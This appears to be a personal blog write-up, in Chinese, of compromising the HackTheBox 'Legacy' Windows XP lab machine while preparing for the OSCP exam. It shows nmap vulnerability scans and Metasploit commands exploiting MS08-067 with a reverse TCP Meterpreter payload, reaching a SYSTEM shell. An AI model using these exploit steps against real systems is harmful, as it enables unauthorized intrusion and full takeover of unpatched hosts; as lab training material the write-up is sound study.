HackTheBox-Machines Legacy Writeup

從今天開始想要在考 OSCP 前刷一下 HackTheBox 中跟 OSCP 證照比較相關的機器：
https://github.com/rkhal101/Hack-the-Box-OSCP-Preparation
今天要打的是 Windows 的 legacy

先 nmap 掃一下

-sV 是服務版本偵測

--script=vuln 會針對已知漏洞進行檢查

└──╼ [★]$ nmap -sV --script=vuln 10.129.152.110
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-27 05:21 CDT
Nmap scan report for 10.129.152.110
Host is up (0.078s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.14 seconds

掃描結果是有三個服務開啟，其中有 smb-vuln-ms17-010 的漏洞，是一個 SMB 的 RCE 洞，我們可以用 msfconsole 扁他。
結果一直遇到這個問題：

Agents:0) exploit(windows/smb/ms17_010_psexec) >> exploit
[*] Started reverse TCP handler on 10.10.14.30:4444 
[*] 10.129.152.110:445 - Target OS: Windows 5.1
[-] 10.129.152.110:445 - Unable to find accessible named pipe!
^[c[*] Exploit completed, but no session was created.1

超怪，網路上看到有人用這個洞打進去，但是看到有些人是打 netbios 的洞，而且他們用 nmap 用一樣的指令有掃到 CVE-2008-4250 超怪。
結果機器重開之後就有了？？？

└──╼ [★]$ nmap --script vuln 10.129.227.181
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-27 05:52 CDT
Nmap scan report for 10.129.227.181
Host is up (0.077s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Nmap done: 1 IP address (1 host up) scanned in 28.00 seconds

超蠢結果機器重開就有了：

└──╼ [★]$ msfconsole
Metasploit tip: Use the edit command to open the currently active module 
in your editor
                                                  
     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


       =[ metasploit v6.3.44-dev                          ]
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post       ]
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

[msf](Jobs:0 Agents:0) >> search CVE-2008-4250

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

[msf](Jobs:0 Agents:0) >> use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms08_067_netapi) >> set lhost tun0
lhost => tun0
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms08_067_netapi) >> set rhost 10.129.227.181
rhost => 10.129.227.181
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms08_067_netapi) >> run

[*] Started reverse TCP handler on 10.10.14.30:4444 
[*] 10.129.227.181:445 - Automatically detecting the target...
[*] 10.129.227.181:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.129.227.181:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.129.227.181:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 10.129.227.181
[*] Meterpreter session 1 opened (10.10.14.30:4444 -> 10.129.227.181:1039) at 2024-10-27 05:55:37 -0500

(Meterpreter 1)(C:\WINDOWS\system32) > id 
[-] Unknown command: id
(Meterpreter 1)(C:\WINDOWS\system32) > getuid
Server username: NT AUTHORITY\SYSTEM

kazma's blog

HackTheBox-Machines Legacy Writeup

Pwned !!!